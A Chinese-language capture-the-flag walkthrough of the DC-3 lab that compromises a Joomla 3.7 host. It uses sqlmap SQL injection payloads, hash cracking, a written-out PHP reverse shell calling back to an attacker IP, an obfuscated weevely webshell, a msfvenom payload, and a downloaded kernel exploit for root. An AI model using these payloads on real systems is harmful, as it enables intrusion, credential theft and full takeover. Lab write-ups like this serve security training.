下载安装
靶场的下载:http://www.five86.com/downloads/DC-3-2.zip
信息收集
存后活主机探测
nmap -sP 192.168.124.0/24
端口服务探测
nmap -A 192.168.124.23
目录扫描
python3 dirsearch.py -u http://192.168.124.23/ -e* -i 200
发现管理员登录界面
网站服务探测
访问网站
网站的内容管理系统为Joomla.操作系统为Ubuntu.
Joomla的版本为3.7
漏洞发现
使用joomscan进行进一步扫描
它是一个Joomla扫描仪。 它将帮助网络开发人员和网站管理员帮助确定已部署的Joomla网站可能存在的安全漏洞。
安装joomscan(kali中)
apt-get install joomscan
joomscan --url http://192.168.124.23
进一步确认了网站信息。搜索joomla漏洞
searchsploit joomla 3.7.0
打开查看漏洞详情.。
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
发现存在sql注入。
漏洞利用
sql注入
以上步骤发现靶机存在SQL注入漏洞,并给出了利用方式
sqlmap进行注入
爆数据库名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" --dbs
爆表名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" --tables
爆字段名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns
爆数据
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password --dump
发现一个admin账号和hash后的密码。利用John暴力破解
网上还有整合脚本: joomblah.py 脚本(python2)
创建文件
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
爆破密码
john test
john test --show
写shell&反弹shell
方法一
登录网站:http://192.168.124.23/administrator/,编写shell
<?php
$sock=fsockopen('192.168.124.26',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
Kali开启监听,然后访问shell
nc -lvvp 4444
成功反弹shell,升级一下交互式Shell.
python -c 'import pty;pty.spawn("/bin/bash")'
方法二
weevely生成php shell,密码为psw。
weevely generate psw weevelyshell.php
查看内容
<?php
$u='D$j++,$Di++){$o.=$Dt{$iD}^$k{$Dj};}}return D$o;}if (D@prDeg_matc';
$f='[1])D,$k))D);$o=@DoDb_gDet_contents()DD;@oDb_end_clean(D);$r=@ba';
$h='D$k="7Dbb48372"D;$kh="9b5a8e26Df73eD";$kf=D"183D1Dcde5Db842";$p';
$j='sDtrleDn($t);$o=D"";for($i=0;$i<$lD;){for(D$Dj=0;($DDj<$c&&$i<$l)D;';
$J='="MIDwNYQFBVujZlDDYTK";funcDDtion x($t,D$k){$c=strDlDen($k);$Dl=D';
$x=str_replace('q','','creqatqeq_fquncqtiqon');
$e='==1) D{@Dob_start();@eDvDal(@gzDuncomDpress(D@x(@baDse64_decodDe($m';
$R='sDDe64D_encode(@x(@gzcDompreDss($oD),$k));pDrint("D$p$khD$r$kf");}';
$k='h(D"/$kDh(D.+)$kf/",@fiDleD_get_contDDenDts("php://inpuDt"),D$m)';
$y=str_replace('D','',$h.$J.$j.$u.$k.$e.$f.$R);
$w=$x('',$y);$w();
?>
上传到目标服务器,使用weevely连接该shell。
weevely http://192.168.1.31/templates/beez3/weevelyshell.php psw
拿到shell后,用户为www-data
方法三
跟方法二原理是一样的。
执行:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.31 LPORT=4444 > msfshell.php
生成php的反弹shell:
将shell上传到DC-3主机中,然后使用msfconsole连接。
依次执行:
use exploit/multi/handler
set PAYLOAD /php/meterpreter/reverse_tcp
set LHOST 192.168.124.23
set PORT 4444
run
然后浏览器访问http://192.168.124.23/templates/beez3/msfshell.php
剩余步骤参考方法二,成功提权。
提权
系统信息收集
find / -perm -u=s -type f 2>/dev/null
uname -a
cat /etc/issue
系统内核提权
寻找内核提权脚本
searchsploit Ubuntu 16.04
查看详情
cat \usr\share\exploitdb\exploits\linux\local\39772.txt
提示有exp的地址,下载
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
解压编译执行
unzip 39772.zip
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
成功提权。
最后在root目录下找到flag。